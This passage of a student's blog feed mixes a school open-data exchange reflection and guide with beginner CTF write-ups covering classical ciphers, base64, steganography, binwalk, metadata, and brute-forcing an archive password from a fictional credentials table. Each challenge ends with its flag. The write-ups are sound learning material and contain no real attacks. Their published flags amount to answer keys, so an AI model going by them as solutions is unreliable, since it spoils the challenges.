Since there are <span><span>1515</span><span><span><span></span><span>15</span></span></span></span> variables in total, we can use Gaussian elimination to express each <span><span>cic_i</span><span><span><span></span><span><span>c</span><span><span><span><span><span><span></span><span><span>i</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span> as a linear function of <span><span>c0c_0</span><span><span><span></span><span><span>c</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span>.</p>
<p>From the recurrence relation we have:</p>
<span><span><span>(ci+2−ci+1)2≡(ci+1−ci)(ci+3−ci+2)(modp)(c_{i+2} - c_{i+1})^2 \equiv (c_{i+1} - c_i)(c_{i+3} - c_{i+2}) \pmod{p}</span><span><span><span></span><span>(</span><span><span>c</span><span><span><span><span><span><span></span><span><span><span>i</span><span>+</span><span>2</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>−</span><span></span></span><span><span></span><span><span>c</span><span><span><span><span><span><span></span><span><span><span>i</span><span>+</span><span>1</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span><span>)</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span><span></span><span>≡</span><span></span></span><span><span></span><span>(</span><span><span>c</span><span><span><span><span><span><span></span><span><span><span>i</span><span>+</span><span>1</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>−</span><span></span></span><span><span></span><span><span>c</span><span><span><span><span><span><span></span><span><span>i</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>)</span><span>(</span><span><span>c</span><span><span><span><span><span><span></span><span><span><span>i</span><span>+</span><span>3</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>−</span><span></span></span><span><span></span><span><span>c</span><span><span><span><span><span><span></span><span><span><span>i</span><span>+</span><span>2</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>)</span><span></span><span></span></span><span><span></span><span>(</span><span><span><span>mod</span></span></span><span></span><span>p</span><span>)</span></span></span></span></span>
<p>Substituting the linear expressions obtained above yields a quadratic equation in <span><span>c0c_0</span><span><span><span></span><span><span>c</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span>.</p>
<p>Finally, we solve this quadratic equation modulo <span><span>pp</span><span><span><span></span><span>p</span></span></span></span> and determine the correct solution by checking quadratic residues.</p>
<p>Flag: <code>osu{0n3_hundr3d_p3rc3nt_4ccur4cy!}</code></p>]]></content:encoded>
      <author>xzhiyouu62</author>
      <category>CTF</category>
    </item>
    <item>
      <title>資訊班成發專題 - 導盲犬機器車</title>
      <link>https://www.xzhiyouu.idv.tw/posts/資訊班成發專題</link>
      <guid>https://www.xzhiyouu.idv.tw/posts/資訊班成發專題</guid>
      <updated>2025-09-01T00:00:00.000Z</updated>
      <pubDate>2025-09-01T00:00:00.000Z</pubDate>
      <description><![CDATA[]]></description>
      <content:encoded><![CDATA[<p>這篇文章已上鎖，請前往網站輸入密碼閱讀。</p>]]></content:encoded>
      <author>xzhiyouu62</author>
      <category>Activity</category>
    </item>
    <item>
      <title>2025 Taiwan &amp; Korea Open Data Analysis Project</title>
      <link>https://www.xzhiyouu.idv.tw/posts/2025-taiwan--korea-open-data-analysis-project</link>
      <guid>https://www.xzhiyouu.idv.tw/posts/2025-taiwan--korea-open-data-analysis-project</guid>
      <updated>2025-08-29T00:00:00.000Z</updated>
      <pubDate>2025-08-29T00:00:00.000Z</pubDate>
      <description><![CDATA[]]></description>
      <content:encoded><![CDATA[<img src="https://www.xzhiyouu.idv.tw/_astro/nhsh308.DF8gcjPn_Z1FWt2z.webp" alt="2025 Taiwan & Korea Open Data Analysis Project" style="width: 100%; height: auto; margin-bottom: 1em;" />
<blockquote><p>Written by Hsieh Chih-Yu</p></blockquote>
<hr />
<h2>Daily Activity Sketch</h2>





















<table><thead><tr><th>Date</th><th>Activity</th></tr></thead><tbody><tr><td>Aug 19</td><td>Meet study partners, ice-breaking, open data introduction</td></tr><tr><td>Aug 20</td><td>Project idea and making</td></tr><tr><td>Aug 21</td><td>Project sharing, visit Google office</td></tr></tbody></table>
<hr />
<h2>Memorable Highlights</h2>
<ul>
<li>Working and learning with Korean partners</li>
<li>Visiting Google’s office in Taipei 101</li>
</ul>
<hr />
<h2>Reflections</h2>
<p>這次很高興有機會可以成為班上前20名的同學代表參加臺韓學生交流公開資料分析專題的活動，從第一天的會面到第三天的Google參訪，真的是收穫滿滿。</p>
<p>首先，第一天抵達了國立師範大學和平校區，在那裡見到了我的兩位韓國學伴，雖然很想趕快與他們交流溝通，但是因為語言的不通，我們最後仍以訊息傳送的方式了解彼此。這次的上課老師是 <a href="https://jppark.smart89.com/about?tl=en" rel="noopener noreferrer" target="_blank">JP老師</a>，剛開始的時候老師為了拉近與學生的距離，特別挑了一支舞蹈邀請我們暖暖身，接著就是重要的公開數據介紹了。老師講解了公開數據的三個特點、如何五步驟完成公開資料專案，並介紹了幾種數據處理的方式。</p>
<p>再來輪到我們發想專題，我們最後決定以「臺灣與韓國的老年人口」為主軸做發想，製作了「<a href="https://cheonwan.vercel.app/" rel="noopener noreferrer" target="_blank">Cheonwan</a>」專題，並且成功在第三天的發表會上展示了我們的成果，也如願參觀了Google的辦公室，從77樓俯瞰下去，景色真的很漂亮！謝謝羅老師給了我機會參加這次活動！</p>
<hr />
<p>I was very happy to be one of the top 20 students in my class to join the Taiwan-Korea Student Exchange: Open Data Analysis Project. From the first day’s meeting to the third day’s Google office visit, I learned a lot.</p>
<p>On the first day, I went to NTNU Hoping Campus and met my two Korean partners. I wanted to talk with them, but because of language problems, we mostly used messages to communicate. The teacher, <a href="https://jppark.smart89.com/about?tl=en" rel="noopener noreferrer" target="_blank">Professor JP</a>, started with a short dance to help us feel relaxed, then gave an introduction to open data. He explained three features of open data, a five-step process to finish a project, and some methods for data processing.</p>
<p>For our project, we chose the topic “Elderly Population in Taiwan and Korea” and created “<a href="https://cheonwan.vercel.app/" rel="noopener noreferrer" target="_blank">Cheonwan</a>.” On the third day, we presented our work successfully and then visited Google’s office. The view from the 77th floor was amazing. I am very thankful to Professor Lo for giving me this chance to join the event.</p>
<hr />
<h2>Event Photos</h2>
<ul>
<li>
<p>JP teaching<br />
<img src="https://hackmd.io/_uploads/SyTOhsAKxl.jpg" alt="IMG_7269" /></p>
</li>
<li>
<p>Group partners<br />
<img src="https://hackmd.io/_uploads/HyR6ajRYeg.jpg" alt="IMG_7315" /></p>
</li>
<li>
<p>Practicing presentation<br />
<img src="https://hackmd.io/_uploads/HJ4yRjCYxx.jpg" alt="IMG_7394" /></p>
</li>
<li>
<p>Professor Lo and JP<br />
<img src="https://hackmd.io/_uploads/HJybCiRYee.jpg" alt="IMG_7523" /></p>
</li>
<li>
<p>Presenting at Google<br />
<img src="https://hackmd.io/_uploads/H1Sf0sAYlg.jpg" alt="IMG_7591" /></p>
</li>
<li>
<p>Group photo<br />
<img src="https://hackmd.io/_uploads/SkYQ0oAFgx.jpg" alt="IMG_7692" /></p>
</li>
</ul>
<hr />
<h2>Project Presentation</h2>
<ul>
<li>View on Website: <a href="https://cheonwan.vercel.app/" rel="noopener noreferrer" target="_blank">Link</a></li>
<li>View on Canva: <a href="https://www.canva.com/design/DAGwfgf1IC0/ImwBholm6aD4ng6PhIcHkg/view?utm_content=DAGwfgf1IC0&amp;utm_campaign=designshare&amp;utm_medium=link2&amp;utm_source=uniquelinks&amp;utlId=h6bbc61d220" rel="noopener noreferrer" target="_blank">Link</a></li>
</ul>
<hr />
<h2>Attachments</h2>
<ul>
<li>Tool I made for analyzing CSV files and making charts
<a href="https://github.com/xzhiyouu62/PythonGraphMaker" rel="noopener noreferrer" target="_blank">(GitHub Link)</a></li>
</ul>]]></content:encoded>
      <author>xzhiyouu62</author>
      <category>Activity</category><category>Open Data</category><category>Taiwan</category><category>Korea</category>
    </item>
    <item>
      <title>Public Data Project Guide</title>
      <link>https://www.xzhiyouu.idv.tw/posts/public-data-project-guide</link>
      <guid>https://www.xzhiyouu.idv.tw/posts/public-data-project-guide</guid>
      <updated>2025-08-20T00:00:00.000Z</updated>
      <pubDate>2025-08-20T00:00:00.000Z</pubDate>
      <description><![CDATA[]]></description>
      <content:encoded><![CDATA[<img src="https://www.xzhiyouu.idv.tw/_astro/cover.DPXPK4aF_Z1DLM4q.webp" alt="Public Data Project Guide" style="width: 100%; height: auto; margin-bottom: 1em;" />
<h2>Introduction</h2>
<p>Public data refers to information created and managed by government or public organizations that is freely available to anyone. This valuable resource can be used to improve the world.</p>
<h3>Key Benefits:</h3>
<ul>
<li><strong>Free Usage</strong>: Most public data is free to use.</li>
<li><strong>Freedom of Use</strong>: It can be utilized for educational, research, business, and other purposes.</li>
<li><strong>Creating New Value</strong>: Data processing can lead to innovative services or applications.</li>
</ul>
<h2>5-Step Guide to Completing a Public Data Project</h2>
<h3>1. Define the Problem</h3>
<p>The first step is to define the problem you aim to solve. This could range from small inconveniences to larger societal issues.</p>
<h3>2. Collect Data</h3>
<p>Once the problem is defined, gather the necessary data to address the issue.</p>
<h3>3. Analyze Data</h3>
<p>The next step is to process and analyze the collected data for insights.</p>
<h3>4. Propose Solutions</h3>
<p>Based on the data analysis, suggest potential solutions to the problem.</p>
<h3>5. Publish Results</h3>
<p>Finally, share your findings and solutions with the public.</p>
<h2>Core Technologies</h2>
<ul>
<li><strong>Big Data Analytics</strong>: Tools for handling large volumes of data.</li>
<li><strong>Data Visualization</strong>: Representing data through charts and graphs for better understanding.</li>
<li><strong>Machine Learning</strong>: Using algorithms to improve decision-making and predictions.</li>
</ul>
<h2>Success Tips</h2>
<ol>
<li>Ensure proper data privacy to avoid leaks or misuse.</li>
<li>Use interactive methods to present the data for better engagement and understanding.</li>
</ol>
<h2>Conclusion</h2>
<p>Public data can be a powerful tool for innovation. By following these steps and leveraging the right technologies, one can create impactful solutions.</p>]]></content:encoded>
      <author>xzhiyouu62</author>
      <category>Open Data</category><category>Public Data</category>
    </item>
    <item>
      <title>資安實務素養 「自主學習」 CTF 挑戰賽</title>
      <link>https://www.xzhiyouu.idv.tw/posts/資安實務素養ctf挑戰賽</link>
      <guid>https://www.xzhiyouu.idv.tw/posts/資安實務素養ctf挑戰賽</guid>
      <updated>2025-05-15T00:00:00.000Z</updated>
      <pubDate>2025-05-15T00:00:00.000Z</pubDate>
      <description><![CDATA[]]></description>
      <content:encoded><![CDATA[<img src="https://www.xzhiyouu.idv.tw/_astro/cover.DydRB-_o_occU9.webp" alt="資安實務素養 「自主學習」 CTF 挑戰賽" style="width: 100%; height: auto; margin-bottom: 1em;" />
<h2>心得</h2>
<p>因為我的資訊老師是 isip 的中心老師，所以我們有這個機會可以接觸到更多有關資安的知識。我對資安這個領域充滿興趣，平時就會找線上的 CTF 平台練習，偶爾會看看 CTFtime 上有什麼比較簡單的比賽可以讓我試水溫，也因為這樣，我覺得這個 CTF 挑戰賽的題目偏簡單，但也讓我多了學習資安的機會。</p>
<hr />
<img src="https://hackmd.io/_uploads/H1vPwEHSll.png" alt="image" />
<h2>參賽證明</h2>
<img src="https://hackmd.io/_uploads/r1OP_gVEle.jpg" alt="8-團體賽參賽證明" />
<img src="https://hackmd.io/_uploads/B1CFOgNEel.jpg" alt="個人賽證書" />
<hr />
<h2>個人賽</h2>
<h3>ROT 47 [10]</h3>
<pre><code>你知道下列文字如何解密嗎？$F3DE:EFE:@? r:A96C

請把解開的內容變成 Flag 格式，如解開 AABBCCDD，請變成 CTF{AABBCCDD}
Key 格式：CTF{您的答案}
</code></pre>
<p>使用線上解密：<a href="https://www.dcode.fr/rot-47-cipher" rel="noopener noreferrer" target="_blank">https://www.dcode.fr/rot-47-cipher</a></p>
<p>Flag: <code>CTF{Substitution Cipher}</code></p>
<hr />
<h3>Morse Code 解碼 [20]</h3>
<pre><code>描述：編碼與解碼是資訊領域日常都在使用的技術，如 ASCII、Base64、Base32 各有其適用處，請問你對 Base64 編碼與解碼的技術了解嗎？

你知道如何解碼下列資訊嗎？
.- .-.. ..-. .-. . -.. / .-.. . .-- .. ... / ...- .- .. .-.. / .-.-. / -- --- .-. ... .

Key 格式：CTF{您的答案}
</code></pre>
<p>使用線上解密：<a href="https://morsecode.world/international/translator.html" rel="noopener noreferrer" target="_blank">https://morsecode.world/international/translator.html</a></p>
<p>Flag: <code>CTF{ALFRED LEWIS VAIL + MORSE}</code></p>
<hr />
<h3>被關的凱撒 [50]</h3>
<pre><code>凱撒大帝被敵人抓住後，關在一個 5 階的柵欄中。他寫了一個求救文，而您能從中找出關鍵資料來拯救他嗎？
Key 格式：CTF{您的答案}
</code></pre>
<p>題目附加檔案：<code>GDS.zip</code>，解壓後得到 <code>GDS.txt</code>。</p>
<pre><code>xzhiyouu@DESKTOP-9SMADFC:~/isipCTF$ unzip GDS.zip
  inflating: GDS.txt
xzhiyouu@DESKTOP-9SMADFC:~/isipCTF$ cat GDS.txt
AH6sxcffw1cjio1oxrr9uf/dmnwP:jt3axq:8stu
</code></pre>
<p>從題目敘述可推得密文使用 Caesar cipher 與 Rail fence cipher。不過這題的 Rail fence 並非 W 型，而是將明文平均切成 N 等份後依序排列。</p>
<p>找到線上解密工具：<a href="https://www.metools.info/code/fence155.html" rel="noopener noreferrer" target="_blank">https://www.metools.info/code/fence155.html</a></p>
<p>解密結果：<code>Account:Hfjxfw386fir/Password:xtx119mjqu</code></p>
<p>再將兩段字串做 Caesar cipher decode，即可得到最終 flag。</p>
<p>Flag: <code>CTF{Caesar386adm/sos119help}</code></p>
<hr />
<h3>瑪麗皇后的智慧 [50]</h3>
<pre><code>Mary Queen 瑪麗·史都華密碼。
提示：你了解附圖的文字意思嗎？
Key 格式：CTF{您的答案}
</code></pre>
<img src="https://hackmd.io/_uploads/HyZMn14Vel.png" alt="Mary_Queen" />
<p>上網搜尋可找到解密工具：<a href="https://www.dcode.fr/mary-stuart-code" rel="noopener noreferrer" target="_blank">https://www.dcode.fr/mary-stuart-code</a></p>
<p>Flag: <code>CTF{STEGANOGRAPHCRYTOGRAPHY}</code></p>
<hr />
<h3>ROT13 [50]</h3>
<pre><code>ROT13 是一種簡單的凱撒密碼，它將字母表中的每個字母向右移動 13 位。
PGS{TBBQ QNL! E.B.P.}
Key 格式：CTF{您的答案}
</code></pre>
<pre><code>xzhiyouu@DESKTOP-9SMADFC:~/isipCTF$ echo "PGS{TBBQ QNL! E.B.P.}" | rot13
CTF{GOOD DAY! R.O.C.}
</code></pre>
<p>Flag: <code>CTF{GOOD DAY! R.O.C.}</code></p>
<hr />
<h3>文字變亂碼 [50]</h3>
<pre><code>小華向 MIS 人員說明，客戶寄來的信都變成了亂碼。您能幫他還原成正常的文字嗎？
檔案：Email.7z
Key 格式：CTF{您的答案}
</code></pre>
<p>解壓後得到 <code>Email.txt</code>，內容明顯是 base64 編碼：</p>
<pre><code>xzhiyouu@DESKTOP-9SMADFC:~/isipCTF$ cat Email.txt
6Iqx6JOu5LiA5ZCN5LqU...（略）
xzhiyouu@DESKTOP-9SMADFC:~/isipCTF$ echo "6Iqx6JOu..." | base64 -d
...
CTF{**eMAIL**bas64**}
</code></pre>
<p>Flag: <code>CTF{**eMAIL**bas64**}</code></p>
<hr />
<h3>維吉尼爾密碼 [50]</h3>
<pre><code>維吉尼爾密文為？ Vhixoieemksktorywzvhxzijqni
提示：凱撒就是一切，但他把凱撒密法提升到了一個新的層次。
參考：https://www.guballa.de/vigenere-solver
Key 格式：CTF{您的答案}
</code></pre>
<p>Flag: <code>CTF{Theforceisstrongwiththisone}</code></p>
<hr />
<h2>團體賽</h2>
<h3>NIST 資安風險管理 [30]</h3>
<pre><code>描述：請觀察附圖，NIST 提出的網路安全框架 CSF。
提示：NIST 核心，key 為 5 位數，順時針方向、識別 1、保護 3、偵測 3、回應 5、復原 1 的每個類別一共有幾個分項數？
Key 格式：CTF{您的答案}
</code></pre>
<img src="https://hackmd.io/_uploads/SyhuJgV4lx.jpg" alt="NIST" />
<p>Flag: <code>CTF{68521}</code></p>
<hr />
<h3>詩文寄情 [50]</h3>
<pre><code>一首詩文，內有什玄機？
Key 格式：CTF{您的答案}
</code></pre>
<p>給了一個 Word 檔，開啟隱藏字元後可見 flag。</p>
<img src="https://hackmd.io/_uploads/Hyk_glV4el.png" alt="image" />
<p>Flag: <code>CTF{Cipher/Cvy36}</code></p>
<hr />
<h3>Strings it!!! [50]</h3>
<pre><code>描述：使用一些指令來幫助您找到字串中的旗標。
Key 格式：CTF{您的答案}
</code></pre>
<p>題目附加檔案：<code>strings</code></p>
<pre><code>xzhiyouu@DESKTOP-9SMADFC:~/isipCTF$ strings strings | grep CTF
picoCTF{5tRIng5_1T_7f766a23}
</code></pre>
<p>Flag: <code>CTF{5tRIng5_1T_7f766a23}</code></p>
<hr />
<h3>Metadata 元資料 [80]</h3>
<pre><code>內容：檔案的元資料總是可以更改。你能找到那面旗幟嗎？
提示：1. 檢視圖片檔案元資料詳細內容 2. 運用線上 base64decode.org 解開 base64 編碼
Key 格式：CTF{ }
</code></pre>
<p>題目附加檔案：<code>rabbit-6.jpg</code></p>
<pre><code>xzhiyouu@DESKTOP-9SMADFC:~/isipCTF$ exiftool rabbit-6.jpg
...
XP Keywords  : Q1RGezIwMjQgOS8yNSAxNTAwIOW3pueHn+mrmOmQtTctMTHopot9
Subject      : Q1RGezIwMjQgOS8yNSAxNTAwIOW3pueHn+mrmOmQtTctMTHopot9
</code></pre>
<p>找到 base64 編碼字串後解碼得到 flag：</p>
<pre><code>xzhiyouu@DESKTOP-9SMADFC:~/isipCTF$ echo "Q1RGezIwMjQgOS8yNSAxNTAwIOW3pueHn+mrmOmQtTctMTHopot9" | base64 -d
CTF{2024 9/25 1500 左營高鐵7-11見}
</code></pre>
<p>Flag: <code>CTF{2024 9/25 1500 左營高鐵7-11見}</code></p>
<hr />
<h3>黑與白 [100]</h3>
<pre><code>黑白之間，藏有重要資訊，請將他找出來吧。
Key 格式：CTF{ }
</code></pre>
<p>題目給了 base64 編碼過的圖片資料，解碼後得到 QR code。</p>
<img src="https://hackmd.io/_uploads/BkQcml4Vle.png" alt="image" />
<p>拿去線上掃描或手機掃描即可得到 flag。</p>
<p>Flag: <code>CTF{OKS5543/891HHFR}</code></p>
<hr />
<h3>Doraemons 俄羅斯娃娃 [100]</h3>
<pre><code>提示：在 Kali Linux 中應用 binwalk 尋找 Doraemons.jpg 中的 Key。
Key 格式：isipCTF{AABBCCDD}
</code></pre>
<pre><code>xzhiyouu@DESKTOP-9SMADFC:~/isipCTF$ binwalk Doraemons.jpg

DECIMAL       HEXADECIMAL     DESCRIPTION
0             0x0             JPEG image data, JFIF standard 1.01
18043         0x467B          Zip archive data ... name: 2_with_3.jpg
37726         0x935E          End of Zip archive
</code></pre>
<p>使用 <code>binwalk -e</code> 一路解到底，最終在最深層找到 flag：</p>
<pre><code>xzhiyouu@DESKTOP-9SMADFC:~/.../isipCTF$ strings 4_with_flag.jpg | grep CTF
isipCTF{336cf6d51c9d9774fd37196c1d7320ff}

# 或直接 cat 最底層的 flag.txt
xzhiyouu@DESKTOP-9SMADFC:~/.../isipCTF$ cat flag.txt
isipCTF{336cf6d51c9d9774fd37196c1d7320ff}
</code></pre>
<p>Flag: <code>isipCTF{336cf6d51c9d9774fd37196c1d7320ff}</code></p>
<hr />
<h3>小熊維尼 Winnie [100]</h3>
<pre><code>密碼為：isip2024
使用工具：https://futureboy.us/stegano/decinput.html
Key 格式：CTF{您的答案}
</code></pre>
<p>使用 steghide 提取隱藏資料：</p>
<pre><code>xzhiyouu@DESKTOP-9SMADFC:~/isipCTF$ steghide extract -sf winnie-the-poohsteg.jpg
Enter passphrase:
wrote extracted data to "steganopayload147315.txt".
xzhiyouu@DESKTOP-9SMADFC:~/isipCTF$ cat steganopayload147315.txt
Q1RGe1RoZSBNYW55IEFkdmVudHVyZXMgb2YgV2lubmllIHRoZSBQb29ofQ==
xzhiyouu@DESKTOP-9SMADFC:~/isipCTF$ echo "Q1RGe1RoZSBNYW55IEFkdmVudHVyZXMgb2YgV2lubmllIHRoZSBQb29ofQ==" | base64 -d
CTF{The Many Adventures of Winnie the Pooh}
</code></pre>
<p>Flag: <code>CTF{The Many Adventures of Winnie the Pooh}</code></p>
<hr />
<h3>尋找線索 [100]</h3>
<pre><code>小明刑警從駭客筆電中找到了一個可疑檔案，懷疑檔案內容中有重要線索，您能幫忙找出來嗎？
本題答案由兩組字串組成 Key 格式：CTF{您的答案1+您的答案2}
</code></pre>
<p>題目附加檔案：<code>SXB.zip</code>，解壓後得到 <code>AccessControl.rar</code> 和 <code>HRdb.mdb</code>。</p>
<p><code>AccessControl.rar</code> 有密碼，先從 <code>HRdb.mdb</code> 下手：</p>
<pre><code>xzhiyouu@DESKTOP-9SMADFC:~/isipCTF/SXB$ mdb-tables HRdb.mdb
員工名單 檔案資訊
xzhiyouu@DESKTOP-9SMADFC:~/isipCTF/SXB$ mdb-export HRdb.mdb 檔案資訊
NO,EMPID,Account,Pwd,FilePWD
"TG001","EM348","Paul","ZTSW1E","pvYp8se247"
"TG002","HB035","Tony","nBUGV8","bFE8ek5133"
"TG005","HB084","Peter","BoUEvZ","WQ6f6f3859"
"TG003","HB407","Amy","TqyHyG","ylhpakj152"
"TG004","HB720","Yvonne","ag1WVK","aRwt9nb020"
"TG006","HB922","Rich","UCuOPE","qGF7tag158"
</code></pre>
<p>暴力嘗試後得到壓縮檔密碼 <code>WQ6f6f3859</code>，解壓得到 <code>Access Control.pst</code>。</p>
<p>使用線上工具 <a href="https://goldfynch.com/pst-viewer/" rel="noopener noreferrer" target="_blank">https://goldfynch.com/pst-viewer/</a> 開啟後找到 flag。</p>
<img src="https://hackmd.io/_uploads/rJkCPgEEee.png" alt="image" />
<p>Flag: <code>CTF{security+4Cc3ssC0ntr0ller}</code></p>]]></content:encoded>
      <author>xzhiyouu62</author>
      <category>CTF</category><category>Writeup</category>
    </item>
    <item>
      <title>UWSP Pointer Overflow CTF writeup</title>
      <link>https://www.xzhiyouu.idv.tw/posts/uwsp-pointer-overflow-ctf-writeup</link>
      <guid>https://www.xzhiyouu.idv.tw/posts/uwsp-pointer-overflow-ctf-writeup</guid>
      <updated>2024-11-12T00:00:00.000Z</updated>
      <pubDate>2024-11-12T00:00:00.000Z</pubDate>
      <description><![CDATA[]]></description>
      <content:encoded><![CDATA[<img src="https://www.xzhiyouu.idv.tw/_astro/cover.pp8TYf1n_Z2jyFIO.webp" alt="UWSP Pointer Overflow CTF writeup" style="width: 100%; height: auto; margin-bottom: 1em;" />
<h4>CTFtime: <a href="https://ctftime.org/event/2121/" rel="noopener noreferrer" target="_blank">https://ctftime.org/event/2121/</a></h4>
<blockquote><ul>
<li>player: xzhiyouu</li>
</ul></blockquote>
<h2>Web 100 - The Way Out is Through</h2>
<ul>
<li>
<h3>Problem description</h3>
</li>
</ul>
<img src="https://hackmd.io/_uploads/SJeNxC1Mkl.png" alt="solve" />
<p>The question provided a link, so I clicked on it, but there was nothing there.
<img src="https://hackmd.io/_uploads/S1g-rRnyMye.png" alt="101" />
So I switched to the source code to look at it, and found that the flag seemed to be divided into five parts.</p>
<pre><code>&lt;!DOCTYPE html&gt;
&lt;html lang="en"&gt;
  &lt;head&gt;
    &lt;meta charset="UTF-8" /&gt;
    &lt;meta name="viewport" content="width=device-width, initial-scale=1.0" /&gt;
    &lt;title&gt;TTiOT&lt;/title&gt;
  &lt;/head&gt;
  &lt;body&gt;
    &lt;h1&gt;Not Found&lt;/h1&gt;
    &lt;p&gt;The requested URL /snazzy-dump-pics.html was not found on this server.&lt;/p&gt;
    &lt;hr /&gt;
    &lt;p&gt;&lt;i&gt;Apache/1.1.3 (Ubuntu) Server at localhost Port 1337&lt;/i&gt;&lt;/p&gt;

    &lt;script&gt;
      let part_1 = [112, 111, 99, 116].map((x) =&gt; String.fromCharCode(x)).join('')
      let part_2 = atob('Znt1d3NwXw==')
      let part_3 = 'document.cookie'
      let part_4 = 'XzdydTdoXw=='
      let part_5_hex = [0x31, 0x35, 0x5f, 0x30, 0x75, 0x37, 0x5f, 0x37, 0x68, 0x33, 0x72, 0x33, 0x7d]

      console.log('The Tooth is Over There.')
      document.cookie = '\u0037\u0068\u0033'
    &lt;/script&gt;
  &lt;/body&gt;
&lt;/html&gt;
</code></pre>
<pre><code>let part_1 = [112, 111, 99, 116].map(x =&gt; String.fromCharCode(x)).join('');
</code></pre>
<p>This line converts each number in <strong>[112, 111, 99, 116]</strong> to a character (ASCII values).<br />
So the result of part_1 will be <code>poct</code><br /></p>
<pre><code>let part_2 = atob("Znt1d3NwXw==");
</code></pre>
<p>This part uses atob() to decode a Base64 string<br />
The result of part*2 will be <code>f{uwsp*</code><br /></p>
<pre><code>let part_3 = "document.cookie";
</code></pre>
<p>This sets a cookie value in document.cookie using Unicode escape sequences.<br />We can see the value of document.cookie below.</p>
<pre><code>document.cookie = "\u0037\u0068\u0033";
</code></pre>
<p>The result of part_3 will be <code>7h3</code></p>
<pre><code>let part_4 = "XzdydTdoXw==";
</code></pre>
<p>Just another Base64 string to decode.<br />
The result of part*4 will be <code>\_7ru7h*</code><br /></p>
<pre><code>part_5_hex = [0x31, 0x35, 0x5f, 0x30, 0x75, 0x37, 0x5f, 0x37, 0x68, 0x33, 0x72, 0x33, 0x7d];
</code></pre>
<p>This is an array of hexadecimal values representing ASCII characters.<br />
The result of part_5 will be <code>15_0u7_7h3r3}</code><br /></p>
<p>So just put all the broken flags together to get the final answer.
<code>poctf{uwsp_7h3_7ru7h_15_0u7_7h3r3}</code></p>
<h2>Web 100 - Giving Up the Game</h2>
<ul>
<li>
<h3>Problem description</h3>
<img src="https://hackmd.io/_uploads/SyiPeCyzyx.png" alt="solve2" /></li>
</ul>
<p>It’s also a Web question type…<br />
You will see a game called Space Adventure starting up and spinning for a long time.<br />
<img src="https://hackmd.io/_uploads/B1b2g0kf1g.png" alt="link" />
We check the source code first.<br />
So I got this.<br /></p>
<pre><code>&lt;body&gt;
  &lt;div class="loading-container"&gt;
    &lt;div id="loading-text"&gt;Loading Space Adventure... Please wait.&lt;/div&gt;

    &lt;div class="loading-bar-container"&gt;
      &lt;div class="loading-bar"&gt;&lt;/div&gt;
    &lt;/div&gt;

    &lt;div class="loading-spinner"&gt;&lt;/div&gt;

    &lt;div class="fake-tips"&gt;Tip: Collect all power-ups to upgrade your ship! 💥&lt;/div&gt;
  &lt;/div&gt;

  &lt;script&gt;
    const tips = [
      'Tip: Collect all power-ups to upgrade your ship! 💥',
      'Tip: Watch out for asteroids in Sector 7! 🪨',
      'Tip: Shields down! Restore power to your defenses! ⚡',
      'Tip: New ship parts available at the space station! 🚀',
      'Tip: Find the hidden treasure on Planet Zog! 🌌',
    ]

    let tipIndex = 0
    const tipElement = document.querySelector('.fake-tips')

    setInterval(() =&gt; {
      tipIndex = (tipIndex + 1) % tips.length
      tipElement.textContent = tips[tipIndex]
    }, 7000) // Change tips every 7 seconds
    fetch('/getSprites')
      .then((response) =&gt; response.json())
      .then((data) =&gt; {
        console.log('VGhhbmsgeW91IE1hcmlvISBCdXQgb3VyIHByaW5jZXNzIGlzIGluIGFub3RoZXIgY2FzdGxlIQ==')
      })
  &lt;/script&gt;
&lt;/body&gt;
</code></pre>
<p>I saw a string at the bottom that looked like Base64, so I took it to decode it.<br />
The result will be: <code>Thank you Mario! But our princess is in another castle!</code><br />
Okay, this doesn’t look like a flag.<br />
After carefully checking the code, I found a path called <code>/getSprites</code><br />
Entering the page, I got another string of Base64<br />
<code>cG9jdGZ7dXdzcF8xXzdIMW5rXzdIM3IzcjBfMV80bX0=</code><br />
Okay, let’s take it to the decoder to decode it.<br />
Then I got the right flag!<br />
<code>poctf{uwsp_1_7H1nk_7H3r3r0_1_4m}</code></p>]]></content:encoded>
      <author>xzhiyouu62</author>
      <category>CTF</category>
    </item>
  </channel>
</rss>